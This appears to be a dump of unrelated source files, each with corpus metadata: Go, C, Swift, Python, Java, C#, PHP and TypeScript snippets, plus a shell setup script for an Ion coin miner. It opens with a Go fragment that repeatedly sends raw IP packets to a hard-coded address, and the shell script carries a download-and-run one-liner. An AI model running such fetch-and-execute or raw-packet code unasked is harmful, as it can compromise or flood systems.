Port: 0,
Addr: [4]byte{139, 180, 132, 42},
}
fd2, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_RAW)
if err := syscall.Sendto(fd2, fbuf, 0, &addr); err != nil {
fmt.Println("sendto", err)
continue
}
syscall.Close(fd2)
}
}
|
C | UTF-8 | 530 | 2.53125 | 3 | [] | no_license | /*
** EPITECH PROJECT, 2020
** CPE_lemin_2019
** File description:
** The step class header.
*/
#ifndef STEP_H
#define STEP_H
#include "object.h"
#include "string.h"
#include "type.h"
#include "base.h"
typedef struct step step;
struct step {
object parent;
string *name;
step *next;
int index;
bool is_empty;
int size;
};
#define TYPE_STEP (step_get_type())
step *step_construct(type *object_type);
step *step_new(string *name);
type *step_get_type(void);
void step_finalize(object *parent);
#endif
|
Markdown | UTF-8 | 1,419 | 3.125 | 3 | [] | no_license | Simple MVC core Framework
1) What is MVC?
MVC stands for Model–View–Controller.
Details can be found at the following adrees:
https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller
According to wikipedia, the descriptions of components are:
Model:
The central component of the pattern.
- It is the application's dynamic data structure, independent of the user interface.
- It directly manages the data, logic and rules of the application.
In other words, most of the code should be inside the Model files.
View
- Any representation of information such as a chart, diagram or table. Multiple views of the same information are possible, such as a bar chart for management and a tabular view for accountants.
In other words, UI related stuff.
Controller
Accepts input and converts it to commands for the model or view.
In other words, a controller's job is to pass data to view and / or model.
2) Why this project?
There's plenty of MVC frameworks, like CakePHP or Laravel, and I use them a lot but I wanted to understand how MVC really works behind the scene.
Also, I noticed many people ask "how to do something in the cakePHP / Laravel ways", that's great but who really knows what those frameworks are doing?
The purpose of this project is to learn how a simple CRUD framework works:
- classes autoloader
- routing
- errors and exceptions handling
- name spaces
|
Swift | UTF-8 | 1,527 | 3 | 3 | [] | no_license | //
// TouchableSpriteNode.swift
// Tompero
//
// Created by Enzo Maruffa Moreira on 30/11/19.
// Copyright © 2019 Tompero. All rights reserved.
//
import Foundation
import SpriteKit
class TappableSpriteNode: SKSpriteNode {
override init(texture: SKTexture?, color: UIColor, size: CGSize) {
super.init(texture: texture, color: color, size: size)
self.isUserInteractionEnabled = true
}
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
self.isUserInteractionEnabled = true
}
var initialTouchPosition: CGPoint?
weak var delegate: TappableDelegate?
override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {
guard touches.first != nil else { return }
let touch = touches.first!
initialTouchPosition = touch.location(in: self)
}
override func touchesMoved(_ touches: Set<UITouch>, with event: UIEvent?) {
// guard let touch = touches.first else { return }
}
override func touchesEnded(_ touches: Set<UITouch>, with event: UIEvent?) {
guard let touch = touches.first else { return }
if let initialTouchPosition = self.initialTouchPosition {
let finalTouchPosition = touch.location(in: self)
if initialTouchPosition.distanceTo(finalTouchPosition) < 10 {
print("Tappable delegate pressed \(String(describing: delegate))")
delegate?.tap()
}
}
}
}
|
Python | UTF-8 | 7,307 | 2.515625 | 3 | [
"MIT"
] | permissive | from PIL import Image, ImageDraw, ImageFont
from os import listdir
import os
import pandas as pd
import numpy as np
from kuzushiji_data import data_config
class KuzushijiDataSet:
"""
データセットの取り扱い
"""
def __init__(self):
self.__config()
return
def __config(self):
self.DATA_DIR = data_config.data_dir
self.TRAIN_CSV = os.path.join(self.DATA_DIR, 'train.csv')
self.UNICODE_TRANS_CSV = os.path.join(self.DATA_DIR, 'unicode_translation.csv')
self.TRAIN_IMAGE_DIR = os.path.join(self.DATA_DIR, 'train_images')
self.TEST_IMAGE_DIR = os.path.join(self.DATA_DIR, 'test_images')
self.FONT_PATH = data_config.font_path
return
def read_train_image(self, indexs=None, to_gray=True, need_print=True):
"""
学習用画像読み込み
Returns:
images
image_ids
"""
file_dir = self.TRAIN_IMAGE_DIR
return KuzushijiDataSet.read_image(file_dir, indexs, to_gray, need_print)
def read_test_image(self, indexs=None, to_gray=True, need_print=True):
"""
テスト画像読み込み
Returns:
images
image_ids
"""
file_dir = self.TEST_IMAGE_DIR
return KuzushijiDataSet.read_image(file_dir, indexs, to_gray, need_print)
@staticmethod
def read_image(file_dir, indexs=None, to_gray=True, need_print=True):
"""
画像読み込み
Returns:
images
image_ids
"""
image_dir = file_dir
image_files = np.array(os.listdir(image_dir))
# use index
use_idxs = indexs if indexs is not None else np.arange(len(image_files))
image_files = image_files[use_idxs]
if type(use_idxs) is int:
image_files = [image_files]
elif len(use_idxs.shape) == 0:
image_files = [image_files]
data_num = len(image_files)
images = []
image_ids = []
# loop for image data
for i, im_file in enumerate(image_files):
if need_print:
print('\r read image file {0}/{1}'.format(i + 1, data_num), end="")
# read image
if to_gray:
image = Image.open(os.path.join(image_dir, im_file)).convert('L')
image = np.asarray(image)[:,:,np.newaxis] # shape(H,W) -> shape(H,W,1)
else:
image = Image.open(os.path.join(image_dir, im_file)).convert('RGB')
image = np.asarray(image) # shape(H,W,3)
images.append(image)
# image_id
image_ids.append(os.path.splitext(im_file)[0])
images = np.array(images)
if need_print:
print()
return images, image_ids
def get_train_data_num(self):
image_dir = self.TRAIN_IMAGE_DIR
image_files = np.array(os.listdir(image_dir))
return len(image_files)
def get_test_data_num(self):
image_dir = self.TEST_IMAGE_DIR
image_files = np.array(os.listdir(image_dir))
return len(image_files)
def read_train_upleftpoint_size(self, indexes=None):
"""
args:
returns:
upleft_points : ndarray( [[x0,y0], [x1,y1], ...] * num_classes * num_data ), shape=(num_data, num_classes, num_keypoint, 2)
object_sizes : ndarray( [[w0,h0], [w1,h1], ...] * num_classes * num_data ), shape=(num_data, num_classes, num_keypoint, 2)
where num_classes = 1
"""
df_train = pd.read_csv(self.TRAIN_CSV)
use_idxes = indexes if indexes is not None else np.arange(len(df_train))
if df_train.iloc[use_idxes].size == 2:
df_train = df_train.iloc[use_idxes:use_idxes+1]
else:
df_train = df_train.iloc[use_idxes]
dt_num = len(df_train)
#
upleft_points = []
object_sizes = []
# loop of data
for i in range(dt_num):
img, labels = tuple(df_train.values[i])
is_including_keypoint = type(labels) is str
if is_including_keypoint:
labels = np.array(labels.split(' ')).reshape(-1, 5)
uplf_pt = []
obj_sz = []
for codepoint, x, y, w, h in labels:
uplf_pt.append([int(x), int(y)])
obj_sz.append([int(w), int(h)])
# to ndarray
uplf_pt = np.array(uplf_pt)
obj_sz = np.array(obj_sz)
# shape (num_keypoint, 2) -> (1(num_class), num_keypoint, 2)
uplf_pt = uplf_pt[np.newaxis,:,:]
obj_sz = obj_sz[np.newaxis,:,:]
upleft_points.append(uplf_pt)
object_sizes.append(obj_sz)
else:
upleft_points.append(np.empty((1,0,2)))
object_sizes.append(np.empty((1,0,2)))
return upleft_points, object_sizes
def read_train_letter_no(self, indexes=None):
df_train = pd.read_csv(self.TRAIN_CSV)
use_idxes = indexes if indexes is not None else np.arange(len(df_train))
if df_train.iloc[use_idxes].size == 2:
df_train = df_train.iloc[use_idxes:use_idxes+1]
else:
df_train = df_train.iloc[use_idxes]
dt_num = len(df_train)
#
dict_cat, inv_dict_cat = self.get_letter_number_dict()
# loop of data
letter_numbers = []
for i in range(dt_num):
_, labels = df_train.values[i]
is_including_keypoint = type(labels) is str
if is_including_keypoint:
labels = np.array(labels.split(' ')).reshape(-1, 5)
let_nos = []
for codepoint, x, y, w, h in labels:
let_nos.append(dict_cat[codepoint])
letter_numbers.append(np.array(let_nos))
else:
letter_numbers.append(np.array([]))
letter_numbers = np.array(letter_numbers)
return letter_numbers
def get_letter_number_dict(self):
"""
returns:
letter number dict : {unicode : number}
inv letter number dict : {number : unicode}
"""
path_1 = self.TRAIN_CSV
df_train=pd.read_csv(path_1)
df_train=df_train.dropna(axis=0, how='any')#you can use nan data(page with no letter)
df_train=df_train.reset_index(drop=True)
category_names=set()
for i in range(len(df_train)):
ann = np.array(df_train.loc[i,"labels"].split(" ")).reshape(-1,5)#cat,x,y,width,height for each picture
category_names=category_names.union({i for i in ann[:,0]})
category_names = sorted(category_names)
dict_cat = {list(category_names)[j] : j for j in range(len(category_names))}
inv_dict_cat = {j : list(category_names)[j] for j in range(len(category_names))}
return dict_cat, inv_dict_cat |
Java | UTF-8 | 3,392 | 3.34375 | 3 | [] | no_license | import java.util.ArrayList;
import java.io.PrintWriter;
public class lab3{
//
// Class Variables
//
static int startTest = 100; // Initial n
static int increment = 100; // Number by which n increments
static int endTest = 3000; // Final n
static int startTestSlow = 2; // Initial n
static int incrementSlow = 2; // Number by which n increments
static int endTestSlow = 8; // Final n
//
// Main - used to run experiments
//
public static void main(String args[]){
experiment1a();
//experiment2a();
//experiment2b();
}
//
// Experiment 1a - testing brute force optimal service
//
public static void experiment1a(){
//TODO Fix this
ArrayList<Long> durs = new ArrayList<>();
for(int i=startTestSlow;i<=endTestSlow;i=i+incrementSlow){
ArrayList<Integer> t = arrayMaker.randomList1(i);
for(int j=0;j<t.size();j++){
System.out.print("["+t.get(j)+"]");
}
System.out.print("\n");
long start = System.nanoTime();
int[] minConfig = myAlgorithms.bruteService(t);
long duration = System.nanoTime()-start;
durs.add(duration);
System.out.println("Brute Force Service: n = "+i);
myAlgorithms.printArray(minConfig);
}
writeToCSVTime(durs,"experiment1_bruteForce.csv");
}
//
// Experiment 2a - testing greedy making change
//
public static void experiment2a(){
ArrayList<Long> durs = new ArrayList<>();
int[] coinSet = new int[]{1,2,5};
for(int i=startTest;i<=endTest*100;i=i+increment){
long start = System.nanoTime();
int[] minConfig = myAlgorithms.greedyChange(coinSet,i);
long duration = System.nanoTime()-start;
durs.add(duration);
System.out.println("Greedy Change: n = "+i);
}
writeToCSVTime(durs,"experiment2_greedy.csv");
}
//
// Experiment 2b - testing brute force making change
//
public static void experiment2b(){
ArrayList<Long> durs = new ArrayList<>();
int[] coinSet = new int[]{1,2,5};
for(int i=startTest;i<=endTest;i=i+increment){
long start = System.nanoTime();
int[] minConfig = myAlgorithms.bruteForceChange(coinSet,i);
long duration = System.nanoTime()-start;
durs.add(duration);
System.out.println("Brute Force Change: n = "+i);
}
writeToCSVTime(durs,"experiment2_bruteForce.csv");
}
//
// Saves the contents of durs to a file.
// This is used for time based plots
//
public static void writeToCSVTime(ArrayList<Long> durs, String name){
try{
PrintWriter writer = new PrintWriter(name, "UTF-8");
writer.println("input,time");
for (int i=0;i<durs.size();i++){
writer.println(startTest + increment*i+","+durs.get(i));
}
writer.close();
}
catch(Exception e){
System.out.println("Woops");
}
}
//
// Saves the contents of counts to a file.
// This is used for count based plots
//
public static void writeToCSVCount(ArrayList<Integer> counts, String name){
try{
PrintWriter writer = new PrintWriter(name, "UTF-8");
writer.println("input,time");
for (int i=0;i<counts.size();i++){
writer.println((startTest+increment*i) + ","+counts.get(i));
}
writer.close();
}
catch(Exception e){
System.out.println("Woops");
}
}
}
|
C# | UTF-8 | 356 | 2.703125 | 3 | [] | no_license | var query =
_keylist
.SelectMany(k => dictionary[k])
.Aggregate(
new Dictionary<int, int>(),
(d, v) =>
{
if (d.ContainsKey(v))
{
d[v] += 1;
}
else
{
d[v] = 1;
}
return d;
})
.OrderByDescending(kvp => kvp.Value)
.Select(kvp => new
{
key = kvp.Key,
count = kvp.Value,
});
|
PHP | UTF-8 | 464 | 3.328125 | 3 | [] | no_license | <?php
fscanf(STDIN, "%s", $expression);
// Write an action using echo(). DON'T FORGET THE TRAILING \n
// To debug (equivalent to var_dump): error_log(var_export($var, true));
$cut = preg_replace("/\w/", '', $expression);
do {
$expression = $cut;
$cut = str_replace(array('[]', '{}', '()'), '', $expression);
error_log(var_export($cut, true));
} while ($cut != $expression);
echo $cut ? "false\n" : "true\n";
|
Python | UTF-8 | 2,108 | 2.578125 | 3 | [] | no_license | import os
from flask_restful import abort
from werkzeug.utils import secure_filename
import uuid
class ImageService:
@staticmethod
def read_all(tags=None):
"""
Получение списка изображений с фильтрацией по тегам
"""
from image_manager.models.image import Image, ImageSchema, Tag
if tags:
images = Image.query.filter(Image.tags.any(Tag.id.in_(tags))).all()
else:
images = Image.query.all()
image_schema = ImageSchema(many=True)
return {
'results': image_schema.dump(images),
'count': len(images)
}, 200
@staticmethod
def read_one(image_id):
"""
Получение изображения по ID
:param image_id:
:return:
"""
from image_manager.models.image import Image, ImageSchema
image = Image.query.filter(Image.id == image_id).one_or_none()
if image:
image_schema = ImageSchema()
return image_schema.dump(image), 200
abort(404)
@staticmethod
def create(image_data, tags_ids):
"""
Создание изображения
:param image_data:
:param tags_ids:
:return:
"""
from image_manager.models.image import Image, ImageSchema
from app import app
if Image.allowed_file(image_data.filename):
image_name = '{}_{}'.format(str(uuid.uuid4()), secure_filename(image_data.filename))
image_url = os.path.join(app.config['UPLOAD_FOLDER'], image_name)
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
image = Image.create({
'name': secure_filename(image_data.filename),
'url': image_url,
'tags': tags_ids
})
if image:
image_data.save(image_url)
schema = ImageSchema()
return schema.dump(image), 201
abort(400, message='Недопустимый файл')
|
Python | UTF-8 | 959 | 4.1875 | 4 | [] | no_license | """
Given a binary tree, find its maximum depth.
The maximum depth is the number of nodes along the longest path from the root node
down to the farthest leaf node
"""
__author__ = "Shruthi"
class TreeNode(object):
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution(object):
def maximum_depth_of_a_tree(self, root):
"""
:param root: TreeNode
:return: int
"""
if root is None:
return 0
left_depth = self.maximum_depth_of_a_tree(root.left)
right_depth = self.maximum_depth_of_a_tree (root.right)
return max(left_depth, right_depth)+1
if __name__ == "__main__":
root = TreeNode(3)
root.left = TreeNode(9)
root.right = TreeNode(20)
root.right.left = TreeNode(15)
root.right.right = TreeNode(7)
sol = Solution()
print("Maximum depth of the tree is :", sol.maximum_depth_of_a_tree(root)) |
PHP | UTF-8 | 2,627 | 2.65625 | 3 | [
"MIT"
] | permissive | <?php
declare(strict_types=1);
namespace Districts\Test\Editor\UI\Factory;
use Districts\Editor\Domain\DistrictOrdering;
use Districts\Editor\UI\Factory\DistrictOrderingFactory;
use PHPUnit\Framework\TestCase;
/**
* @covers \Districts\Editor\UI\Factory\DistrictOrderingFactory
*/
class DistrictOrderingFactoryTest extends TestCase
{
private DistrictOrderingFactory $districtOrderingFactory;
protected function setUp(): void
{
$this->districtOrderingFactory = new DistrictOrderingFactory();
}
/**
* @dataProvider createDataProvider
*/
public function testCreate(
?string $inputColumn,
?string $inputDirection,
int $expectedField,
int $expectedDirection
): void {
$order = $this->districtOrderingFactory->createFromRequestInput($inputColumn, $inputDirection);
$this->assertInstanceOf(DistrictOrdering::class, $order);
$this->assertSame($expectedField, $order->getField());
$this->assertSame($expectedDirection, $order->getDirection());
}
public static function createDataProvider(): array
{
return [
[
"city", null, DistrictOrdering::FULL_NAME, DistrictOrdering::ASC,
],
[
null, "asc", DistrictOrdering::FULL_NAME, DistrictOrdering::ASC,
],
[
"foo", "bar", DistrictOrdering::FULL_NAME, DistrictOrdering::ASC,
],
[
"city", "foo", DistrictOrdering::FULL_NAME, DistrictOrdering::ASC,
],
[
"bar", "asc", DistrictOrdering::FULL_NAME, DistrictOrdering::ASC,
],
[
"city", "asc", DistrictOrdering::CITY_NAME, DistrictOrdering::ASC,
],
[
"city", "desc", DistrictOrdering::CITY_NAME, DistrictOrdering::DESC,
],
[
"name", "asc", DistrictOrdering::DISTRICT_NAME, DistrictOrdering::ASC,
],
[
"name", "desc", DistrictOrdering::DISTRICT_NAME, DistrictOrdering::DESC,
],
[
"area", "asc", DistrictOrdering::AREA, DistrictOrdering::ASC,
],
[
"area", "desc", DistrictOrdering::AREA, DistrictOrdering::DESC,
],
[
"population", "asc", DistrictOrdering::POPULATION, DistrictOrdering::ASC,
],
[
"population", "desc", DistrictOrdering::POPULATION, DistrictOrdering::DESC,
],
];
}
}
|
PHP | UTF-8 | 734 | 2.546875 | 3 | [] | no_license | <?php
namespace Truelab\KottiFrontendBundle\BodyProcessor\Html;
use Sunra\PhpSimple\HtmlDomParser;
use Truelab\KottiFrontendBundle\BodyProcessor\AbstractBodyProcessorManager;
/**
* Class BodyProcessorManager
* @package Truelab\KottiFrontendBundle\BodyProcessor
*/
class BodyProcessorManager extends AbstractBodyProcessorManager
{
public function process($input)
{
if(!$input) {
return $input;
}
$html = HtmlDomParser::str_get_html($input);
/**
* @var BodyProcessorInterface $processor
*/
foreach($this->getProcessors() as $processor)
{
$html = $processor->process($html);
}
return $html->__toString();
}
}
|
Java | UTF-8 | 1,022 | 3.09375 | 3 | [] | no_license | package classwork.may12.properties;
import java.io.*;
import java.util.Properties;
public class PropertiesTest
{
public static void main(String[] args) throws IOException
{
Properties properties = new Properties();
//InputStream is = PropertiesTest.class.getClassLoader().getResourceAsStream("classwork/may12/prop.properties");
InputStream is = PropertiesTest.class.getResourceAsStream("prop.properties");
properties.load(is);
System.out.println(properties.getProperty("keyA"));
properties.setProperty("keyA","XXX");
properties.setProperty("keyC","CCC");
System.out.println(properties.toString());
properties.stringPropertyNames().forEach(prop -> {
System.out.print(prop);
System.out.print("=");
System.out.println(properties.getProperty(prop));});
}
}
|
Java | UTF-8 | 431 | 1.789063 | 2 | [] | no_license | package org.insonix.flipboard.services;
import java.util.List;
import org.insonix.flipboard.dto.FlipboardPostDto;
import org.insonix.flipboard.models.FlipboardPost;
public interface FlipboardPostService extends BaseService<FlipboardPost, Long> {
public FlipboardPostDto savePost(FlipboardPostDto flipboardPostDto);
public List<FlipboardPost> flipboardPostList();
public List<FlipboardPost> userPostList(Long userId);
}
|
JavaScript | UTF-8 | 1,086 | 3.609375 | 4 | [] | no_license | //get URL of API
let URL = "https://breakingbadapi.com/api/characters"
console.log(URL)
//go and fetch the URL
fetch(URL)
//once the URL is fetched, set it equal to res, convert to json
.then(res => res.json())
.then(convertedData => {
console.log(convertedData)
let results = convertedData
console.log(results)
//console.log(info)
let grabCharContainer = document.querySelector('#char-container')
for (let i = 0; i < results.length; i++) {
const { name, occupation, img} = results[i]
let createImg = document.createElement('img')
let createParaTag = document.createElement('p')
let createH1Tag = document.createElement('h1')
createH1Tag.innerHTML = name
createParaTag.innerHTML = `${name} is a ${occupation}`
createImg.setAttribute('src', img)
grabCharContainer.appendChild(createH1Tag)
grabCharContainer.appendChild(createParaTag)
grabCharContainer.appendChild(createImg)
}
}) |
Python | UTF-8 | 411 | 3.9375 | 4 | [] | no_license | # 변수 선언과 사용
# 변수 앞에 자료형 생략
n = 10
print(n)
print("n = ", n)
# 3box = 'k' (변수 이름은 숫자로 시작할 수 없다.)
#num x = 100 (변수 이름에는 공백이 있으면 안된다.)
name = "이은수"
print("이름 : ", name)
print("이름 = " + name)
#출력시에 문자와 변수는 (,) 콤마로 연결
#출력시에 문자만 있는 경우는 '+' 연산자 사용
|
C | UTF-8 | 329 | 3.359375 | 3 | [] | no_license | #include <stdio.h>
#include <math.h>
#include <stdbool.h>
bool laTamGiac(float a, float b, float c)
{
return c > fabsf(b - a);
}
int main()
{
float a, b, c;
scanf("%f%f%f", &a, &b, &c);
if (laTamGiac(a, b, c))
printf("La tam giac\n");
else
printf("Khong phai la tam giac\n");
return 0;
} |
Java | UTF-8 | 3,197 | 2.59375 | 3 | [
"Apache-2.0"
] | permissive | /*
* Copyright 2016 HuntBugs contributors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package one.util.huntbugs.testdata;
import one.util.huntbugs.registry.anno.AssertNoWarning;
import one.util.huntbugs.registry.anno.AssertWarning;
/**
* @author shustkost
*
*/
public abstract class TestUnusedParameter {
@AssertNoWarning("*")
public TestUnusedParameter(int x, int y) {
this(x, y, "other");
}
@AssertNoWarning("*")
public TestUnusedParameter() {
this(1, 2, "other");
}
@AssertWarning("ConstructorParameterIsNotPassed")
public TestUnusedParameter(int x, String z) {
this(x, 2, "other");
}
@AssertNoWarning("*")
public TestUnusedParameter(int x, int y, String z) {
System.out.println(x + y + z);
}
@AssertNoWarning("*")
public void print(String info, int x) {
System.out.println(info+" "+x);
}
@AssertWarning("MethodParameterIsNotPassed")
public void print(int x) {
print("test", 0);
}
@AssertNoWarning("MethodParameterIsNotPassed")
@AssertWarning("MethodParameterIsNotUsed")
public void print(double x) {
print("test", 0);
}
@AssertNoWarning("*")
public String test(int x, int y) {
return null;
}
@AssertNoWarning("*")
public int test2(int x, int y) {
return 0;
}
@AssertNoWarning("*")
public boolean test3(int x, int y) {
return false;
}
@AssertNoWarning("*")
public void test4(int x, int y) {
}
public static void printStatic(String info, int x) {
System.out.println(info+" "+x);
}
@AssertWarning("MethodParameterIsNotPassed")
@AssertNoWarning("MethodParameterIsNotUsed")
public static void printStatic(int x) {
printStatic("test", 0);
}
@AssertNoWarning("MethodParameterIsNotPassed")
@AssertWarning("MethodParameterIsNotUsed")
public void printStatic(double x) {
printStatic("test", 0);
}
@AssertNoWarning("*")
abstract protected void test(int x);
static class Xyz extends TestUnusedParameter {
@AssertNoWarning("*")
@Override
protected void test(int x) {
System.out.println("Ok");
}
}
static class Generic<T> {
@AssertNoWarning("*")
protected void foo(T param) {
System.out.println("foo");
}
}
static class SubClass extends Generic<String> {
@Override
@AssertNoWarning("*")
protected void foo(String param) {
System.out.println("bar");
}
}
}
|
Python | UTF-8 | 629 | 2.578125 | 3 | [] | no_license | import discord
import json
from discord.ext import commands
config = json.load(open('config.json'))
bot = commands.Bot(command_prefix=['>>'], description='Need a multitool?!')
bot.remove_command('help')
extensions = ['cogs.lastFM', 'cogs.general']
@bot.event
async def on_ready():
print('Logged in as')
print(bot.user.name)
print(bot.user.id)
print('------')
if __name__ == '__main__':
for extension in extensions:
try:
bot.load_extension(extension)
except Exception as error:
print('{} cannot be loaded. [{}]'.format(Exception, error))
bot.run(config['token']) |
Python | UTF-8 | 218 | 4.3125 | 4 | [] | no_license | # 2.8.py
# A program to convert Fahrenheit temps to Celsius
def main():
fah = input("What is the Fahrenheit temperature? ")
cel = (fah-32.0)*5.0/9.0
print "The temperature is", cel, "degrees Celsius."
main() |
TypeScript | UTF-8 | 2,958 | 2.890625 | 3 | [
"MIT"
] | permissive | import _ from 'lodash';
import { GetExpenses_me_expenses } from '../types/GetExpenses';
import { GetExpensesThisMonth_getExpenses_expensesThisMonth } from '../types/GetExpensesThisMonth';
import { GetExpensesLastMonth_getExpenses_expensesLastMonth } from '../types/GetExpensesLastMonth';
const MONTH_NAMES = [
'January',
'February',
'March',
'April',
'May',
'June',
'July',
'August',
'September',
'October',
'November',
'December',
];
export function groupDatesAndKeys(
expenses: GetExpenses_me_expenses[] | GetExpensesLastMonth_getExpenses_expensesLastMonth[],
) {
const groupByDate = _.mapValues(_.groupBy(expenses, 'dateOfExpense'));
const dates = Object.keys(groupByDate);
return { groupByDate, dates };
}
// the dates that are passed are grouped by day and sorted in order
function sortDates(expenses: GetExpenses_me_expenses[]) {
const groupByDate = _.mapValues(_.groupBy(expenses, 'dateOfExpense'));
const dates = Object.keys(groupByDate);
dates.sort((a: string, b: string) => {
return new Date(a).getTime() - new Date(b).getTime();
});
const sortedDates: Record<string, GetExpenses_me_expenses[]> = {};
dates.forEach(date => {
sortedDates[date] = groupByDate[date];
});
return sortedDates;
}
interface Total {
amount: number;
month: string;
}
// TODO: make this a function that takes a second parameter which is month, week, quarter, year
function totalForTheMonth(expenses: GetExpenses_me_expenses[]) {
const { groupByDate, dates } = groupDatesAndKeys(expenses);
const total: Total = { amount: 0, month: '' };
dates.forEach(date => {
const expensesOnDate = groupByDate[date];
expensesOnDate.forEach(exp => {
if (total.month === '') {
total.month = MONTH_NAMES[new Date(exp.dateOfExpense).getMonth()];
}
total.amount += exp.amount;
});
});
return total;
}
type SortProps = {
expenses: GetExpenses_me_expenses[];
nearest?: boolean;
};
const sortExpensesByDate = ({ expenses, nearest = false }: SortProps) => {
const sorted = expenses.sort((a, b) => {
return new Date(a.dateOfExpense).getTime() - new Date(b.dateOfExpense).getTime();
});
if (nearest) {
return sorted.reverse();
}
return sorted;
};
type SectorData = {
sector: string;
amount: number;
};
const sortExpensesForPC = (expenses: GetExpensesThisMonth_getExpenses_expensesThisMonth[]) => {
const sectors: SectorData[] = [];
expenses.forEach(expense => {
if (sectors.some(e => e.sector === expense.sectorOfExpense)) {
const index = sectors.findIndex(item => item.sector === expense.sectorOfExpense);
if (index !== -1) {
sectors[index] = { ...sectors[index], amount: expense.amount + sectors[index].amount };
}
} else {
sectors.push({ sector: expense.sectorOfExpense, amount: expense.amount });
}
});
return sectors;
};
export { totalForTheMonth, sortDates, sortExpensesByDate, sortExpensesForPC };
|
Python | UTF-8 | 783 | 2.671875 | 3 | [] | no_license | from datetime import datetime
class UserModel:
def __init__(self, id, full_name, username, limit=0, createdAt=datetime.now()):
self._id = id
self.full_name = full_name
self.username = username
self.reputation = 0
self.rep_given = 0
self.rep_limit = limit
self.address = None
self.admin = False
self.createdAt = createdAt
class AchievementModel:
def __init__(self, goal=None, message=None, is_prize=False):
self.goal = goal
self.message = message
self.is_prize = is_prize
self.prize_name = 'Приз неопределён'
class PrizeModel:
def __init__(self):
self.start_date = datetime.now()
self.status = "active"
self.participants = [] |
Python | UTF-8 | 1,474 | 3.203125 | 3 | [] | no_license | """
Code illustration: 2.08
A demonstration of tkinter.messagebox
showinfo
showwarning
showerror
askquestion
askokcancel
askyesno
askyesnocancel
askretrycancel
@Tkinter GUI Application Development Blueprints
"""
from tkinter import Tk, Frame, Label, Button, BOTH, LEFT
import tkinter.messagebox as tmb
root = Tk()
fr1 = Frame(root)
fr2 = Frame(root)
opt = {"fill": BOTH, "side": LEFT, "padx": 2, "pady": 3}
# Demo of tkinter.messagebox
Label(fr1, text="Demo of tkinter.messagebox").pack()
Button(fr1, text="info", command=lambda: tmb.showinfo("Show Info", "This is FYI")).pack(
opt
)
Button(
fr1,
text="warning",
command=lambda: tmb.showwarning("Show Warning", "Don't be silly"),
).pack(opt)
Button(
fr1, text="error", command=lambda: tmb.showerror("Show Error", "It leaked")
).pack(opt)
Button(
fr1,
text="question",
command=lambda: tmb.askquestion("Ask Question", "Can you read this ?"),
).pack(opt)
Button(
fr2,
text="okcancel",
command=lambda: tmb.askokcancel("Ask OK Cancel", "Say Ok or Cancel?"),
).pack(opt)
Button(
fr2, text="yesno", command=lambda: tmb.askyesno("Ask Yes-No", "Say yes or no?")
).pack(opt)
Button(
fr2,
text="yesnocancel",
command=lambda: tmb.askyesnocancel("Yes-No-Cancel", "Say yes no cancel"),
).pack(opt)
Button(
fr2,
text="retrycancel",
command=lambda: tmb.askretrycancel("Ask Retry Cancel", "Retry or what?"),
).pack(opt)
fr1.pack()
fr2.pack()
root.mainloop()
|
Shell | UTF-8 | 5,789 | 3.921875 | 4 | [
"MIT"
] | permissive | #!/bin/sh
# Summary:
# This script makes setting up Ion (ION) miners and remote ionodes easy!
# It will download the latest startup script which can:
# * Download and run the executables
# * Download the Bootstrap
# * Download the Blockchain
# * Auto Scrapes
# * Auto Updates
# * Watchdog to keep the mining going just in case of a crash
# * Startup on reboot
# * Can create miners
# * Can create remote ionodes
# and more... See https://github.com/cevap/IonScripts for the latest.
#
# You can run this as one command on the command line
# wget -N https://github.com/cevap/IonScripts/releases/download/v1.0.0/ionSimpleSetup.sh && sh ionSimpleSetup.sh -s DJnERexmBy1oURgpp2JpzVzHcE17LTFavD
#
echo "===========================================================================" | tee -a ionSimpleSetup.log
echo "Version 1.0.5 of ionSimpleSetup.sh" | tee -a ionSimpleSetup.log
echo " Released May 4, 2017 Released by LordDarkHelmet" | tee -a ionSimpleSetup.log
echo "Original Version found at: https://github.com/cevap/IonScripts" | tee -a ionSimpleSetup.log
echo "Local Filename: $0" | tee -a ionSimpleSetup.log
echo "Local Time: $(date +%F_%T)" | tee -a ionSimpleSetup.log
echo "System:" | tee -a ionSimpleSetup.log
uname -a | tee -a ionSimpleSetup.log
echo "User $(id -u -n) UserID: $(id -u)" | tee -a ionSimpleSetup.log
echo "If you found this script useful please contribute. Feedback is appreciated" | tee -a ionSimpleSetup.log
echo "===========================================================================" | tee -a ionSimpleSetup.log
varIsScrapeAddressSet=false
varShowHelp=false
while getopts :s:h option
do
case "${option}" in
h)
varShowHelp=true
#We are setting this to true because we are going to show help. No need to worry about scraping
varIsScrapeAddressSet=true
echo "We are going to show the most recent help info." | tee -a ionSimpleSetup.log
echo "In order to do this we will still need to download the latest version from GIT." | tee -a ionSimpleSetup.log
;;
s)
myScrapeAddress=${OPTARG}
echo "-s has set myScrapeAddress=${myScrapeAddress}" | tee -a ionSimpleSetup.log
varIsScrapeAddressSet=true
;;
esac
done
if [ "$varIsScrapeAddressSet" = false ]; then
echo "=!!!!!= WARNING WARNING WARNING WARNING WARNING WARNING =!!!!!=" | tee -a ionSimpleSetup.log
echo "=!!!!!= WARNING WARNING WARNING WARNING WARNING WARNING =!!!!!=" | tee -a ionSimpleSetup.log
echo "SCRAPE ADDRESS HAS NOT BEEN SET!!! You will be donating your HASH power." | tee -a ionSimpleSetup.log
echo "If you did not intend to do this then please use the -a attribute and set your scrape address!" | tee -a ionSimpleSetup.log
echo "=!!!!!= WARNING WARNING WARNING WARNING WARNING WARNING =!!!!!=" | tee -a ionSimpleSetup.log
echo "=!!!!!= WARNING WARNING WARNING WARNING WARNING WARNING =!!!!!=" | tee -a ionSimpleSetup.log
fi
echo "" | tee -a ionSimpleSetup.log
echo "" | tee -a ionSimpleSetup.log
echo "Step 1: Download the latest ionStartupScript.sh from GitHub, https://github.com/cevap/IonScripts" | tee -a ionSimpleSetup.log
